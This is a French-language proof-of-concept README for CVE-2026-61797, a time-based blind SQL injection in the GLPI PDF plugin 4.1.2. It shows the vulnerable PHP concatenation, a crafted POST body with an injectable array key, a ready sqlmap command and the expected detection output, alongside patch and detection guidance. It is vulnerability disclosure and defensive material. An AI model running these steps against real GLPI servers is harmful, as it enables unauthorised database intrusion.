
Preuve de concept pour CVE-2026-61797, une injection SQL aveugle basée sur le temps dans le plugin PDF de GLPI, avec validation sqlmap et conseils de détection.
Preuve de concept pour CVE-2026-61797, une vulnérabilité d'injection SQL aveugle basée sur le temps affectant le plugin PDF de GLPI.
La vulnérabilité peut être atteinte via :
/marketplace/pdf/front/preference.form.php
Dans l'implémentation vulnérable, les valeurs contrôlées par l'utilisateur provenant du tableau POST item sont insérées dans des requêtes SQL sans paramétrage approprié.
Un utilisateur GLPI authentifié à faibles privilèges peut exploiter ce comportement pour injecter des expressions SQL et déduire des informations de la base de données via le timing des réponses.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-61797 |
| Produit | Plugin PDF de GLPI |
| Version testée | 4.1.2 |
| Version corrigée | 4.1.3 |
| Vulnérabilité | Injection SQL aveugle basée sur le temps |
| Authentification | Requise sur la branche 4.1.2 testée |
| Vecteur d'attaque | Réseau |
| Interaction utilisateur | Aucune |
| Base de données | MySQL |
| CVSS | 6.1 / 10 |
| Avis | GHSA-wwr3-v347-c64m |
Le code vulnérable finit par placer la clé item contrôlée par l'attaquant dans le champ tabref d'une instruction SQL INSERT.
Conceptuellement, l'opération vulnérable ressemblait à :
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Comme $key fait partie de l'instruction SQL, une clé de tableau forgée peut modifier la requête résultante.
Le PoC nécessite :
sqlmap.Le PoC a été validé contre PDF Plugin 4.1.2.
Capturez une requête légitime vers :
POST /marketplace/pdf/front/preference.form.php
et enregistrez-la sous :
glpi.sqli
Un corps de requête minimal adapté pour marquer le point d'injection est :
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Le * indique à sqlmap quelle partie de la requête doit être testée.
Exemple de structure de requête :
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Exécutez :
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
Une installation vulnérable devrait être identifiée comme acceptant une injection SQL aveugle basée sur le temps au niveau du point d'injection POST personnalisé.
La détection typique ressemble à :
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
La technique repose sur des délais MySQL conditionnels tels que SLEEP() pour déterminer si une condition injectée est évaluée comme vraie.
Ce dépôt limite intentionnellement le PoC documenté à la vérification de la vulnérabilité et ne fournit pas de commandes d'extraction de base de données ou d'identifiants.
La requête vulnérable atteint :
plugins/pdf/front/preference.form.php
L'application traite des valeurs similaires à :
item[<USER_CONTROLLED_VALUE>]=1
PHP convertit cela en un tableau associatif, où l'attaquant contrôle la clé du tableau.
Cette clé est ensuite utilisée comme $key par le plugin et, dans la version vulnérable, est concaténée directement dans une instruction SQL.
Le flux de données résultant est effectivement :
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
Une charge utile basée sur le temps peut donc influencer l'expression SQL et faire délibérément retarder la réponse par la base de données lorsqu'une condition fournie est vraie.
Comme l'application ne renvoie pas directement les résultats de la requête SQL, l'exploitation est réalisée sous forme d'injection SQL aveugle.
Le problème a été corrigé dans PDF Plugin 4.1.3.
Les opérations SQL brutes vulnérables ont été remplacées par des mécanismes de base de données/ORM plus sûrs et une logique d'autorisation supplémentaire.
Les utilisateurs doivent mettre à niveau vers :
PDF Plugin >= 4.1.3
ou une version prise en charge plus récente.
Les défenseurs peuvent souhaiter examiner les requêtes HTTP ciblant :
/marketplace/pdf/front/preference.form.php
avec des noms de paramètres item[...] inhabituels.
Les motifs particulièrement suspects incluent la syntaxe SQL ou les fonctions de délai temporel apparaissant à l'intérieur d'une clé de tableau, par exemple des références à :
SLEEP(
SELECT
AND
OR
||
'
"
Des requêtes POST répétées vers le point de terminaison suivies de délais de réponse constants de plusieurs secondes peuvent également indiquer des tentatives d'exploitation d'une injection SQL aveugle basée sur le temps.
Cette preuve de concept est fournie exclusivement pour :
Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
Les auteurs n'assument aucune responsabilité pour toute utilisation non autorisée ou illégale de ce matériel.
Recherche sur la vulnérabilité et analyse technique originale :
ITRESIT Labs — Javier Medina
Recherche originale :
CVE :
CVE-2026-61797
Avis de sécurité GitHub :
GHSA-wwr3-v347-c64m
Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Obtenez toujours une autorisation explicite avant de tester des systèmes que vous ne possédez pas.